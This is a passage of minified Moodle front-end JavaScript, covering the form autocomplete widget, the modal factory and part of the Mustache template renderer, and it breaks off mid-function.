M.util.js_complete(pendingKey)})).catch(notification.exception)},hasItemListChanged=function(state,items){return state.items.length!==items.length||state.items.filter((item=&gt;-1===items.indexOf(item))).length&gt;0},notifyChange=function(originalSelect){FormChangeChecker.markFormChangedFromNode(originalSelect[0]),originalSelect[0].dispatchEvent(new Event(&quot;change&quot;))},deselectItem=function(options,state,item,originalSelect){var selectedItemValue=$(item).attr(&quot;data-value&quot;);return originalSelect.children(&quot;option&quot;).each((function(index,ele){$(ele).attr(&quot;value&quot;)==selectedItemValue&amp;&amp;($(ele).prop(&quot;selected&quot;,!1),$(ele).attr(&quot;data-iscustom&quot;)&amp;&amp;$(ele).remove())})),updateSelectionList(options,state,originalSelect).then((function(){notifyChange(originalSelect)}))},activateItem=function(index,state){var inputElement=$(document.getElementById(state.inputId)),suggestionsElement=$(document.getElementById(state.suggestionsId)),length=suggestionsElement.children(&quot;:not([aria-hidden])&quot;).length;for(index%=length;index&lt;0;)index+=length;var element=$(suggestionsElement.children(&quot;:not([aria-hidden])&quot;).get(index)),globalIndex=$(suggestionsElement.children(&quot;[role=option]&quot;)).index(element),itemId=state.suggestionsId+&quot;-&quot;+globalIndex;suggestionsElement.children().attr(&quot;aria-selected&quot;,!1).attr(&quot;id&quot;,&quot;&quot;),element.attr(&quot;aria-selected&quot;,!0).attr(&quot;id&quot;,itemId),inputElement.attr(&quot;aria-activedescendant&quot;,itemId);var scrollPos=element.offset().top-suggestionsElement.offset().top+suggestionsElement.scrollTop()-suggestionsElement.height()/2;return suggestionsElement.animate({scrollTop:scrollPos},100).promise()},closeSuggestions=function(state){var inputElement=$(document.getElementById(state.inputId)),suggestionsElement=$(document.getElementById(state.suggestionsId));return&quot;true&quot;===inputElement.attr(&quot;aria-expanded&quot;)&amp;&amp;inputElement.attr(&quot;aria-expanded&quot;,!1),inputElement.attr(&quot;aria-activedescendant&quot;,state.selectionId),Aria.hide(suggestionsElement.get()),suggestionsElement.hide(),$.Deferred().resolve()},updateSuggestions=function(options,state,query,originalSelect){var pendingKey=&quot;form-autocomplete-updateSuggestions-&quot;+state.inputId;M.util.js_pending(pendingKey);var inputElement=$(document.getElementById(state.inputId)),suggestionsElement=$(document.getElementById(state.suggestionsId)),matchingElements=!1,suggestions=[];originalSelect.children(&quot;option&quot;).each((function(index,option){!0!==$(option).prop(&quot;selected&quot;)&amp;&amp;(suggestions[suggestions.length]={label:option.innerHTML,value:$(option).attr(&quot;value&quot;)})}));var searchquery=state.caseSensitive?query:query.toLocaleLowerCase(),context=$.extend({options:suggestions},options,state);return templates.render(&quot;core/form_autocomplete_suggestions&quot;,context).then((function(html,js){return templates.replaceNode(suggestionsElement,html,js),suggestionsElement=$(document.getElementById(state.suggestionsId)),Aria.unhide(suggestionsElement.get()),suggestionsElement.show(),suggestionsElement.children().each((function(index,node){node=$(node),options.caseSensitive&amp;&amp;node.text().indexOf(searchquery)&gt;-1||!options.caseSensitive&amp;&amp;node.text().toLocaleLowerCase().indexOf(searchquery)&gt;-1?(Aria.unhide(node.get()),node.show(),matchingElements=!0):(node.hide(),Aria.hide(node.get()))})),inputElement.attr(&quot;aria-expanded&quot;,!0),originalSelect.attr(&quot;data-notice&quot;)?suggestionsElement.html(originalSelect.attr(&quot;data-notice&quot;)):matchingElements?options.tags||activateItem(0,state):str.get_string(&quot;nosuggestions&quot;,&quot;form&quot;).done((function(nosuggestionsstr){suggestionsElement.html(nosuggestionsstr)})),suggestionsElement})).then((function(){return M.util.js_complete(pendingKey)})).catch(notification.exception)},createItem=function(options,state,originalSelect){var inputElement=$(document.getElementById(state.inputId)),tags=inputElement.val().split(&quot;,&quot;),found=!1;return $.each(tags,(function(tagindex,tag){if(&quot;&quot;!==(tag=tag.trim())&amp;&amp;(options.multiple||originalSelect.children(&quot;option&quot;).prop(&quot;selected&quot;,!1),originalSelect.children(&quot;option&quot;).each((function(index,ele){$(ele).attr(&quot;value&quot;)==tag&amp;&amp;(found=!0,$(ele).prop(&quot;selected&quot;,!0))})),!found)){var option=$(&quot;&lt;option&gt;&quot;);option.append(document.createTextNode(tag)),option.attr(&quot;value&quot;,tag),originalSelect.append(option),option.prop(&quot;selected&quot;,!0),option.attr(&quot;data-iscustom&quot;,!0)}})),updateSelectionList(options,state,originalSelect).then((function(){notifyChange(originalSelect)})).then((function(){inputElement.val(&quot;&quot;)})).then((function(){return closeSuggestions(state)}))},selectCurrentItem=function(options,state,originalSelect){var inputElement=$(document.getElementById(state.inputId)),selectedItemValue=$(document.getElementById(state.suggestionsId)).children(&quot;[aria-selected=true]&quot;).attr(&quot;data-value&quot;);return options.multiple||originalSelect.children(&quot;option&quot;).prop(&quot;selected&quot;,!1),originalSelect.children(&quot;option&quot;).each((function(index,ele){$(ele).attr(&quot;value&quot;)==selectedItemValue&amp;&amp;$(ele).prop(&quot;selected&quot;,!0)})),updateSelectionList(options,state,originalSelect).then((function(){notifyChange(originalSelect)})).then((function(){return options.closeSuggestionsOnSelect?(inputElement.val(&quot;&quot;),closeSuggestions(state)):(inputElement.focus(),updateSuggestions(options,state,inputElement.val(),originalSelect))}))},updateAjax=function(e,options,state,originalSelect,ajaxHandler){var pendingPromise=addPendingJSPromise(&quot;updateAjax&quot;),parentElement=$(document.getElementById(state.selectId)).parent();LoadingIcon.addIconToContainerRemoveOnCompletion(parentElement,pendingPromise);var query=$(e.currentTarget).val();return ajaxHandler.transport(options.selector,query,(function(results){var processedResults=ajaxHandler.processResults(options.selector,results),existingValues=[];if(options.multiple||originalSelect.children(&quot;option&quot;).remove(),originalSelect.children(&quot;option&quot;).each((function(optionIndex,option){(option=$(option)).prop(&quot;selected&quot;)?existingValues.push(String(option.attr(&quot;value&quot;))):option.remove()})),!options.multiple&amp;&amp;0===originalSelect.children(&quot;option&quot;).length){var option=$(&quot;&lt;option&gt;&quot;);originalSelect.append(option)}$.isArray(processedResults)?($.each(processedResults,(function(resultIndex,result){if(-1===existingValues.indexOf(String(result.value))){var option=$(&quot;&lt;option&gt;&quot;);option.append(result.label),option.attr(&quot;value&quot;,result.value),originalSelect.append(option)}})),originalSelect.attr(&quot;data-notice&quot;,&quot;&quot;)):originalSelect.attr(&quot;data-notice&quot;,processedResults),pendingPromise.resolve(updateSuggestions(options,state,&quot;&quot;,originalSelect))}),(function(error){pendingPromise.reject(error)})),pendingPromise},addNavigation=function(options,state,originalSelect){var inputElement=$(document.getElementById(state.inputId));(inputElement.on(&quot;keydown&quot;,(function(e){var pendingJsPromise=addPendingJSPromise(&quot;addNavigation-&quot;+state.inputId+&quot;-&quot;+e.keyCode);switch(e.keyCode){case KEYS_DOWN:return options.showSuggestions?(&quot;true&quot;===inputElement.attr(&quot;aria-expanded&quot;)?pendingJsPromise.resolve(function(state){var suggestionsElement=$(document.getElementById(state.suggestionsId)),element=suggestionsElement.children(&quot;[aria-selected=true]&quot;),current=suggestionsElement.children(&quot;:not([aria-hidden])&quot;).index(element);return activateItem(current+1,state)}(state)):!inputElement.val()&amp;&amp;options.ajax?require([options.ajax],(function(ajaxHandler){pendingJsPromise.resolve(updateAjax(e,options,state,originalSelect,ajaxHandler))})):pendingJsPromise.resolve(updateSuggestions(options,state,inputElement.val(),originalSelect)),e.preventDefault(),!1):(pendingJsPromise.resolve(),!0);case KEYS_UP:return pendingJsPromise.resolve(function(state){var suggestionsElement=$(document.getElementById(state.suggestionsId)),element=suggestionsElement.children(&quot;[aria-selected=true]&quot;),current=suggestionsElement.children(&quot;:not([aria-hidden])&quot;).index(element);return activateItem(current-1,state)}(state)),e.preventDefault(),!1;case KEYS_ENTER:var suggestionsElement=$(document.getElementById(state.suggestionsId));return&quot;true&quot;===inputElement.attr(&quot;aria-expanded&quot;)&amp;&amp;suggestionsElement.children(&quot;[aria-selected=true]&quot;).length&gt;0?pendingJsPromise.resolve(selectCurrentItem(options,state,originalSelect)):options.tags?pendingJsPromise.resolve(createItem(options,state,originalSelect)):pendingJsPromise.resolve(),e.preventDefault(),!1;case KEYS_ESCAPE:return&quot;true&quot;===inputElement.attr(&quot;aria-expanded&quot;)?pendingJsPromise.resolve(closeSuggestions(state)):pendingJsPromise.resolve(),e.preventDefault(),!1}return pendingJsPromise.resolve(),!0})),inputElement.on(&quot;keypress&quot;,(function(e){return e.keyCode!==KEYS_COMMA||(options.tags&amp;&amp;addPendingJSPromise(&quot;keypress-&quot;+e.keyCode).resolve(createItem(options,state,originalSelect)),e.preventDefault(),!1)})),inputElement.closest(&quot;form&quot;).on(&quot;submit&quot;,(function(){return options.tags&amp;&amp;addPendingJSPromise(&quot;form-autocomplete-submit&quot;).resolve(createItem(options,state,originalSelect)),!0})),inputElement.on(&quot;blur&quot;,(function(){var pendingPromise=addPendingJSPromise(&quot;form-autocomplete-blur&quot;);window.setTimeout((function(){var focusElement=$(document.activeElement),timeoutPromise=$.Deferred();focusElement.is(document.getElementById(state.suggestionsId))?inputElement.focus():!focusElement.is(inputElement)&amp;&amp;$(document.getElementById(state.inputId)).length&amp;&amp;(options.tags&amp;&amp;timeoutPromise.then((function(){return createItem(options,state,originalSelect)})).catch(),timeoutPromise.then((function(){return closeSuggestions(state)})).catch()),timeoutPromise.then((function(){return pendingPromise.resolve()})).catch(),timeoutPromise.resolve()}),500)})),options.showSuggestions)&amp;&amp;$(document.getElementById(state.downArrowId)).on(&quot;click&quot;,(function(e){var pendingPromise=addPendingJSPromise(&quot;form-autocomplete-show-suggestions&quot;);inputElement.focus(),!inputElement.val()&amp;&amp;options.ajax?require([options.ajax],(function(ajaxHandler){pendingPromise.resolve(updateAjax(e,options,state,originalSelect,ajaxHandler))})):pendingPromise.resolve(updateSuggestions(options,state,inputElement.val(),originalSelect))}));var suggestionsElement=$(document.getElementById(state.suggestionsId));suggestionsElement.parent().prop(&quot;onclick&quot;,null).off(&quot;click&quot;),suggestionsElement.parent().on(&quot;click&quot;,&quot;#&quot;.concat(state.suggestionsId,&quot; [role=option]&quot;),(function(e){var pendingPromise=addPendingJSPromise(&quot;form-autocomplete-parent&quot;),element=$(e.currentTarget).closest(&quot;[role=option]&quot;),current=$(document.getElementById(state.suggestionsId)).children(&quot;:not([aria-hidden])&quot;).index(element);activateItem(current,state).then((function(){return selectCurrentItem(options,state,originalSelect)})).then((function(){return pendingPromise.resolve()})).catch()}));var selectionElement=$(document.getElementById(state.selectionId));selectionElement.on(&quot;click&quot;,&quot;[role=option]&quot;,(function(e){addPendingJSPromise(&quot;form-autocomplete-clicks&quot;).resolve(deselectItem(options,state,$(e.currentTarget),originalSelect))})),selectionElement.on(&quot;focus&quot;,(function(){updateActiveSelectionFromState(state)})),selectionElement.on(&quot;keydown&quot;,(function(e){var pendingPromise=addPendingJSPromise(&quot;form-autocomplete-keydown-&quot;+e.keyCode);switch(e.keyCode){case KEYS_RIGHT:case KEYS_DOWN:return e.preventDefault(),void pendingPromise.resolve(function(state){var selectionsElement=$(document.getElementById(state.selectionId)),element=selectionsElement.children(&quot;[data-active-selection]&quot;),current=0;return element?(current=selectionsElement.children(&quot;[aria-selected=true]&quot;).index(element),current+=1):current=0,activateSelection(current,state)}(state));case KEYS_LEFT:case KEYS_UP:return e.preventDefault(),void pendingPromise.resolve(function(state){var selectionsElement=$(document.getElementById(state.selectionId)),element=selectionsElement.children(&quot;[data-active-selection]&quot;);if(!element)return activateSelection(0,state);var current=selectionsElement.children(&quot;[aria-selected=true]&quot;).index(element);return activateSelection(current-1,state)}(state));case KEYS_SPACE:case KEYS_ENTER:var selectedItem=$(document.getElementById(state.selectionId)).children(&quot;[data-active-selection]&quot;);return void(selectedItem&amp;&amp;(e.preventDefault(),pendingPromise.resolve(deselectItem(options,state,selectedItem,originalSelect))))}pendingPromise.resolve()})),options.showSuggestions&amp;&amp;(inputElement.on(&quot;focus&quot;,(function(e){var query=$(e.currentTarget).val();$(e.currentTarget).data(&quot;last-value&quot;,query)})),options.ajax?require([options.ajax],(function(ajaxHandler){var throttleTimeout=null,inProgress=!1,pendingKey=&quot;autocomplete-throttledhandler&quot;,handler=function(e){throttleTimeout=null,inProgress=!0,updateAjax(e,options,state,originalSelect,ajaxHandler).then((function(){return null===throttleTimeout&amp;&amp;M.util.js_complete(pendingKey),inProgress=!1,arguments[0]})).catch(notification.exception)},throttledHandler=function(e){window.clearTimeout(throttleTimeout),inProgress?throttleTimeout=window.setTimeout(throttledHandler.bind(this,e),100):(null===throttleTimeout&amp;&amp;M.util.js_pending(pendingKey),throttleTimeout=window.setTimeout(handler.bind(this,e),300))};inputElement.on(&quot;input&quot;,(function(e){var query=$(e.currentTarget).val();$(e.currentTarget).data(&quot;last-value&quot;)!==query&amp;&amp;throttledHandler(e),$(e.currentTarget).data(&quot;last-value&quot;,query)}))})):inputElement.on(&quot;input&quot;,(function(e){var query=$(e.currentTarget).val();$(e.currentTarget).data(&quot;last-value&quot;)!==query&amp;&amp;updateSuggestions(options,state,query,originalSelect),$(e.currentTarget).data(&quot;last-value&quot;,query)})))},addPendingJSPromise=function(key){var pendingKey=&quot;form-autocomplete:&quot;+key;M.util.js_pending(pendingKey);var pendingPromise=$.Deferred();return pendingPromise.then((function(){return M.util.js_complete(pendingKey),arguments[0]})).catch(notification.exception),pendingPromise};return{enhance:function(selector,tags,ajax,placeholder,caseSensitive,showSuggestions,noSelectionString,closeSuggestionsOnSelect,templateOverrides){var options={selector:selector,tags:!1,ajax:!1,placeholder:placeholder,caseSensitive:!1,showSuggestions:!0,noSelectionString:noSelectionString,templates:$.extend({input:&quot;core/form_autocomplete_input&quot;,items:&quot;core/form_autocomplete_selection_items&quot;,layout:&quot;core/form_autocomplete_layout&quot;,selection:&quot;core/form_autocomplete_selection&quot;,suggestions:&quot;core/form_autocomplete_suggestions&quot;},templateOverrides)},pendingKey=&quot;autocomplete-setup-&quot;+selector;M.util.js_pending(pendingKey),void 0!==tags&amp;&amp;(options.tags=tags),void 0!==ajax&amp;&amp;(options.ajax=ajax),void 0!==caseSensitive&amp;&amp;(options.caseSensitive=caseSensitive),void 0!==showSuggestions&amp;&amp;(options.showSuggestions=showSuggestions),void 0===noSelectionString&amp;&amp;str.get_string(&quot;noselection&quot;,&quot;form&quot;).done((function(result){options.noSelectionString=result})).fail(notification.exception);var originalSelect=$(selector);if(!originalSelect)return log.debug(&quot;Selector not found: &quot;+selector),M.util.js_complete(pendingKey),!1;if(&quot;enhanced&quot;===originalSelect.data(&quot;enhanced&quot;))return M.util.js_complete(pendingKey),!1;originalSelect.data(&quot;enhanced&quot;,&quot;enhanced&quot;),Aria.hide(originalSelect.get()),originalSelect.css(&quot;visibility&quot;,&quot;hidden&quot;);var state={selectId:originalSelect.attr(&quot;id&quot;),inputId:&quot;form_autocomplete_input-&quot;+uniqueId,suggestionsId:&quot;form_autocomplete_suggestions-&quot;+uniqueId,selectionId:&quot;form_autocomplete_selection-&quot;+uniqueId,downArrowId:&quot;form_autocomplete_downarrow-&quot;+uniqueId,items:[]};uniqueId++,options.multiple=originalSelect.attr(&quot;multiple&quot;),options.multiple||originalSelect.prepend(&quot;&lt;option&gt;&quot;),options.closeSuggestionsOnSelect=void 0!==closeSuggestionsOnSelect?closeSuggestionsOnSelect:!options.multiple;var originalLabel=$(&quot;[for=&quot;+state.selectId+&quot;]&quot;),suggestions=[];originalSelect.children(&quot;option&quot;).each((function(index,option){suggestions[index]={label:option.innerHTML,value:$(option).attr(&quot;value&quot;)}}));var context=$.extend({},options,state);context.options=suggestions,context.items=[];var collectedjs=&quot;&quot;,renderLayout=templates.render(options.templates.layout,{}).then((function(html){return $(html)})),renderInput=templates.render(options.templates.input,context).then((function(html,js){return collectedjs+=js,$(html)})),renderDatalist=templates.render(options.templates.suggestions,context).then((function(html,js){return collectedjs+=js,$(html)})),renderSelection=templates.render(options.templates.selection,context).then((function(html,js){return collectedjs+=js,$(html)}));return $.when(renderLayout,renderInput,renderDatalist,renderSelection).then((function(layout,input,suggestions,selection){originalSelect.hide();var container=originalSelect.parent();input.find(&quot;input&quot;).attr(&quot;data-fieldtype&quot;,&quot;autocomplete&quot;),container.append(layout),container.find(&#039;[data-region=&quot;form_autocomplete-input&quot;]&#039;).replaceWith(input),container.find(&#039;[data-region=&quot;form_autocomplete-suggestions&quot;]&#039;).replaceWith(suggestions),container.find(&#039;[data-region=&quot;form_autocomplete-selection&quot;]&#039;).replaceWith(selection),templates.runTemplateJS(collectedjs),originalLabel.attr(&quot;for&quot;,state.inputId),addNavigation(options,state,originalSelect);var suggestionsElement=$(document.getElementById(state.suggestionsId));suggestionsElement.hide(),Aria.hide(suggestionsElement.get())})).then((function(){return updateSelectionList(options,state,originalSelect)})).then((function(){return M.util.js_complete(pendingKey)})).catch((function(error){M.util.js_complete(pendingKey),notification.exception(error)}))}}}));
/**
 * Create a modal.
 *
 * @module     core/modal_factory
 * @copyright  2016 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core/modal_factory&quot;,[&quot;jquery&quot;,&quot;core/modal_events&quot;,&quot;core/modal_registry&quot;,&quot;core/modal&quot;,&quot;core/modal_save_cancel&quot;,&quot;core/modal_cancel&quot;,&quot;core/local/modal/alert&quot;,&quot;core/templates&quot;,&quot;core/notification&quot;,&quot;core/custom_interaction_events&quot;,&quot;core/pending&quot;],(function($,ModalEvents,ModalRegistry,Modal,ModalSaveCancel,ModalCancel,ModalAlert,Templates,Notification,CustomEvents,Pending){var TEMPLATES_DEFAULT=&quot;core/modal&quot;,TEMPLATES_SAVE_CANCEL=&quot;core/modal_save_cancel&quot;,TEMPLATES_CANCEL=&quot;core/modal_cancel&quot;,TEMPLATES_ALERT=&quot;core/local/modal/alert&quot;,TYPES={DEFAULT:&quot;DEFAULT&quot;,SAVE_CANCEL:&quot;SAVE_CANCEL&quot;,CANCEL:&quot;CANCEL&quot;,ALERT:&quot;ALERT&quot;};ModalRegistry.register(TYPES.DEFAULT,Modal,TEMPLATES_DEFAULT),ModalRegistry.register(TYPES.SAVE_CANCEL,ModalSaveCancel,TEMPLATES_SAVE_CANCEL),ModalRegistry.register(TYPES.CANCEL,ModalCancel,TEMPLATES_CANCEL),ModalRegistry.register(TYPES.ALERT,ModalAlert,TEMPLATES_ALERT);var createFromType=function(registryConf,templateContext){var templateName=registryConf.template,modalPromise=Templates.render(templateName,templateContext).then((function(html){var modalElement=$(html);return function(registryConf,modalElement){return modalElement=$(modalElement),new(0,registryConf.module)(modalElement)}(registryConf,modalElement)})).fail(Notification.exception);return modalPromise};return{create:function(modalConfig,triggerElement){var registryConf,type=modalConfig.type||TYPES.DEFAULT,isLarge=!!modalConfig.large,isScrollable=!modalConfig.hasOwnProperty(&quot;scrollable&quot;)||modalConfig.scrollable,templateContext={};(registryConf=ModalRegistry.get(type))||Notification.exception({message:&quot;Unable to find modal of type: &quot;+type}),void 0!==modalConfig.templateContext&amp;&amp;(templateContext=modalConfig.templateContext);var modalPromise=createFromType(registryConf,templateContext).then((function(modal){return void 0!==modalConfig.title&amp;&amp;modal.setTitle(modalConfig.title),void 0!==modalConfig.body&amp;&amp;modal.setBody(modalConfig.body),void 0!==modalConfig.footer&amp;&amp;modal.setFooter(modalConfig.footer),modalConfig.buttons&amp;&amp;Object.entries(modalConfig.buttons).forEach((function(_ref){let[key,value]=_ref;modal.setButtonText(key,value)})),isLarge&amp;&amp;modal.setLarge(),void 0!==modalConfig.removeOnClose&amp;&amp;modal.setRemoveOnClose(modalConfig.removeOnClose),modal.setScrollable(isScrollable),modal}));return void 0!==triggerElement&amp;&amp;function(modalPromise,triggerElement,modalConfig){var actualTriggerElement=null,hasPreShowCallback=&quot;function&quot;==typeof modalConfig.preShowCallback,triggeredCallback=function(e,data){var pendingPromise=new Pending(&quot;core/modal_factory:setUpTrigger:triggeredCallback&quot;);actualTriggerElement=$(e.currentTarget),modalPromise.then((function(modal){return hasPreShowCallback&amp;&amp;modalConfig.preShowCallback(actualTriggerElement,modal),modal.show(),modal})).then(pendingPromise.resolve),data.originalEvent.preventDefault()};if(Array.isArray(triggerElement)){var selector=triggerElement[1];triggerElement=triggerElement[0],CustomEvents.define(triggerElement,[CustomEvents.events.activate]),triggerElement.on(CustomEvents.events.activate,selector,triggeredCallback)}else CustomEvents.define(triggerElement,[CustomEvents.events.activate]),triggerElement.on(CustomEvents.events.activate,triggeredCallback);modalPromise.then((function(modal){return modal.getRoot().on(ModalEvents.hidden,(function(){null!==actualTriggerElement&amp;&amp;actualTriggerElement.focus()})),modal}))}(modalPromise,triggerElement,modalConfig),modalPromise},types:TYPES}}));
/**
 * Template renderer for Moodle. Load and render Moodle templates with Mustache.
 *
 * @module     core/templates
 * @copyright  2015 Damyon Wiese &lt;damyon@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      2.9
 */
define(&quot;core/templates&quot;,[&quot;core/mustache&quot;,&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/str&quot;,&quot;core/notification&quot;,&quot;core/url&quot;,&quot;core/config&quot;,&quot;core/localstorage&quot;,&quot;core/icon_system&quot;,&quot;core_filters/events&quot;,&quot;core/yui&quot;,&quot;core/log&quot;,&quot;core/truncate&quot;,&quot;core/user_date&quot;,&quot;core/pending&quot;],(function(mustache,$,ajax,str,notification,coreurl,config,storage,IconSystem,filterEvents,Y,Log,Truncate,UserDate,Pending){var uniqInstances=0,templateCache={},templatePromises={},cachePartialPromises={},iconSystem={},loadTemplateBuffer=[],isLoadingTemplates=!1,disallowedNestedHelpers=[&quot;js&quot;],getNormalisedComponent=function(component){return component&amp;&amp;&quot;moodle&quot;!==component&amp;&amp;&quot;core&quot;!==component?component:&quot;core&quot;},getTemplatePromiseFromCache=function(searchKey){if(searchKey in templatePromises)return templatePromises[searchKey];if(searchKey in templateCache)return templatePromises[searchKey]=$.Deferred().resolve(templateCache[searchKey]).promise(),templatePromises[searchKey];if(M.cfg.templaterev&lt;=0)return null;var cached=storage.get(&quot;core_template/&quot;+M.cfg.templaterev+&quot;:&quot;+searchKey);return cached?(templateCache[searchKey]=cached,templatePromises[searchKey]=$.Deferred().resolve(cached).promise(),templatePromises[searchKey]):null},processLoadTemplateBuffer=function(){if(loadTemplateBuffer.length&amp;&amp;!isLoadingTemplates){isLoadingTemplates=!0;var templatesToLoad=loadTemplateBuffer.slice(),serverRequestsDeferred=$.Deferred(),requests=[],templatePromises=templatesToLoad.map((function(templateData){var component=getNormalisedComponent(templateData.component),name=templateData.name,searchKey=templateData.searchKey,theme=templateData.theme,templateDeferred=templateData.deferred,promise=null,cachedPromise=getTemplatePromiseFromCache(searchKey);if(cachedPromise)promise=cachedPromise;else{requests.push({methodname:&quot;core_output_load_template_with_dependencies&quot;,args:{component:component,template:name,themename:theme,lang:$(&quot;html&quot;).attr(&quot;lang&quot;).replace(/-/g,&quot;_&quot;)}});var index=requests.length-1;promise=serverRequestsDeferred.promise().then((function(promises){return templatePromises[searchKey]=promises[index].then((function(response){var templateSource=null;return response.templates.forEach((function(data){data.component=getNormalisedComponent(data.component);var tempSearchKey=[theme,data.component,data.name].join(&quot;/&quot;);templateCache[tempSearchKey]=data.value,M.cfg.templaterev&gt;0&amp;&amp;storage.set(&quot;core_template/&quot;+M.cfg.templaterev+&quot;:&quot;+tempSearchKey,data.value),data.component==component&amp;&amp;data.name==name&amp;&amp;(templateSource=data.value)})),response.strings.length&amp;&amp;str.cache_strings(response.strings.map((function(data){return{component:getNormalisedComponent(data.component),key:data.name,value:data.value}}))),templateSource})),templatePromises[searchKey]}))}return promise.then((function(source){return templateDeferred.resolve(source)})).catch((function(error){throw templateDeferred.reject(error),error}))}));requests.length?serverRequestsDeferred.resolve(ajax.call(requests,!0,!1,!1,0,M.cfg.templaterev)):serverRequestsDeferred.resolve(),$.when.apply(null,templatePromises).then((function(){loadTemplateBuffer.splice(0,templatesToLoad.length),isLoadingTemplates=!1,processLoadTemplateBuffer()})).catch((function(){loadTemplateBuffer.splice(0,templatesToLoad.length),isLoadingTemplates=!1,processLoadTemplateBuffer()}))}},Renderer=function(){this.requiredStrings=[],this.requiredJS=[],this.requiredDates=[],this.currentThemeName=&quot;&quot;};Renderer.prototype.requiredStrings=null,Renderer.prototype.requiredDates=[],Renderer.prototype.requiredJS=null,Renderer.prototype.currentThemeName=&quot;&quot;,Renderer.prototype.getTemplate=function(templateName){var currentTheme=this.currentThemeName,searchKey=currentTheme+&quot;/&quot;+templateName,cachedPromise=getTemplatePromiseFromCache(searchKey);if(cachedPromise)return cachedPromise;var existingBufferRecords=loadTemplateBuffer.filter((function(record){return record.searchKey==searchKey}));if(existingBufferRecords.length)return existingBufferRecords[0].deferred.promise();var parts=templateName.split(&quot;/&quot;),component=getNormalisedComponent(parts.shift()),name=parts.join(&quot;/&quot;),deferred=$.Deferred();return loadTemplateBuffer.push({component:component,name:name,theme:currentTheme,searchKey:searchKey,deferred:deferred}),processLoadTemplateBuffer(),deferred.promise()},Renderer.prototype.prefetchTemplates=function(templateNames,currentTheme){templateNames.forEach((function(templateName){var searchKey=currentTheme+&quot;/&quot;+templateName;if(!getTemplatePromiseFromCache(searchKey)&amp;&amp;!loadTemplateBuffer.filter((function(record){return record.searchKey==searchKey})).length){var parts=templateName.split(&quot;/&quot;),component=getNormalisedComponent(parts.shift()),name=parts.join(&quot;/&quot;);loadTemplateBuffer.push({component:component,name:name,theme:currentTheme,searchKey:searchKey,deferred:$.Deferred()})}})),processLoadTemplateBuffer()},Renderer.prototype.partialHelper=function(name){var searchKey=this.currentThemeName+&quot;/&quot;+name;return searchKey in templateCache||notification.exception(new Error(&quot;Failed to pre-fetch the template: &quot;+name)),templateCache[searchKey]},Renderer.prototype.renderIcon=function(key,component,title){var modulename=config.iconsystemmodule;component=getNormalisedComponent(component);var ready=$.Deferred();return require([modulename],(function(System){var system=new System;system instanceof IconSystem?(iconSystem=system,system.init().then(ready.resolve).catch(notification.exception)):ready.reject(&quot;Invalid icon system specified&quot;+config.iconsystemmodule)})),ready.then(function(iconSystem){return this.getTemplate(iconSystem.getTemplateName())}.bind(this)).then((function(template){return iconSystem.renderIcon(key,component,title,template)}))},Renderer.prototype.pixHelper=function(context,sectionText,helper){var parts=sectionText.split(&quot;,&quot;),key=&quot;&quot;,component=&quot;&quot;,text=&quot;&quot;;parts.length&gt;0&amp;&amp;(key=helper(parts.shift().trim(),context)),parts.length&gt;0&amp;&amp;(component=helper(parts.shift().trim(),context)),parts.length&gt;0&amp;&amp;(text=helper(parts.join(&quot;,&quot;).trim(),context));var templateName=iconSystem.getTemplateName(),searchKey=this.currentThemeName+&quot;/&quot;+templateName,template=templateCache[searchKey];return component=getNormalisedComponent(component),key=key.replace(/&amp;#x2F;/gi,&quot;/&quot;),iconSystem.renderIcon(key,component,text,template)},Renderer.prototype.jsHelper=function(context,sectionText,helper){return this.requiredJS.push(helper(sectionText,context)),&quot;&quot;},Renderer.prototype.stringHelper=function(context,sectionText,helper){var parts=sectionText.split(&quot;,&quot;),key=&quot;&quot;,component=&quot;&quot;,param=&quot;&quot;;parts.length&gt;0&amp;&amp;(key=parts.shift().trim()),parts.length&gt;0&amp;&amp;(component=parts.shift().trim()),parts.length&gt;0&amp;&amp;(param=parts.join(&quot;,&quot;).trim()),component=getNormalisedComponent(component),&quot;&quot;!==param&amp;&amp;(param=helper(param,context)),0===param.indexOf(&quot;{&quot;)&amp;&amp;0!==param.indexOf(&quot;{{&quot;)&amp;&amp;(param=JSON.parse(param));var index=this.requiredStrings.length;return this.requiredStrings.push({key:key,component:component,param:param}),&quot;[[_s&quot;+index+&quot;]]&quot;},Renderer.prototype.cleanStringHelper=function(context,sectionText,helper){return this.stringHelper(context,sectionText,helper).replace(&quot;s&quot;,&quot;c&quot;)},Renderer.prototype.quoteHelper=function(context,sectionText,helper){var content=helper(sectionText.trim(),context);return&#039;&quot;&#039;+(content=content.replace(/&quot;/g,&#039;\\&quot;&#039;).replace(/\t/g,&quot;&amp;#9;&quot;).replace(/([{}]{2,3})/g,&quot;{{=&lt;% %&gt;=}}$1&lt;%={{ }}=%&gt;&quot;).replace(/(\r\n|\r|\n)/g,&quot;&amp;#x0a;&quot;))+&#039;&quot;&#039;},Renderer.prototype.shortenTextHelper=function(context,sectionText,helper){var parts=sectionText.match(/(.*?),(.*)/),length=parts[1].trim(),content=helper(parts[2].trim(),context);return Truncate.truncate(content,{length:length,words:!0,ellipsis:&quot;...&quot;})},Renderer.prototype.userDateHelper=function(context,sectionText,helper){var parts=sectionText.match(/(.*?),(.*)/),timestamp=helper(parts[1].trim(),context),format=helper(parts[2].trim(),context),index=this.requiredDates.length;return this.requiredDates.push({timestamp:timestamp,format:format}),&quot;[[_t_&quot;+index+&quot;]]&quot;},Renderer.prototype.addHelperFunction=function(helperFunction,context){return function(){return function(sectionText,helper){var originalHelpers=disallowedNestedHelpers.reduce((function(carry,name){return context.hasOwnProperty(name)&amp;&amp;(carry[name]=context[name]),carry}),{});disallowedNestedHelpers.forEach((function(helperName){context[helperName]=function(){return&quot;&quot;}}));var result=helperFunction.apply(this,[context,sectionText,helper]);for(var name in originalHelpers)context[name]=originalHelpers[name];return result}.bind(this)}.bind(this)},Renderer.prototype.addHelpers=function(context,themeName){this.currentThemeName=themeName,this.requiredStrings=[],this.requiredJS=[],context.uniqid=uniqInstances++,context.str=this.addHelperFunction(this.stringHelper,context),context.cleanstr=this.addHelperFunction(this.cleanStringHelper,context),context.pix=this.addHelperFunction(this.pixHelper,context),context.js=this.addHelperFunction(this.jsHelper,context),context.quote=this.addHelperFunction(this.quoteHelper,context),context.shortentext=this.addHelperFunction(this.shortenTextHelper,context),context.userdate=this.addHelperFunction(this.userDateHelper,context),context.globals={config:config},context.currentTheme=themeName},Renderer.prototype.getJS=function(){var 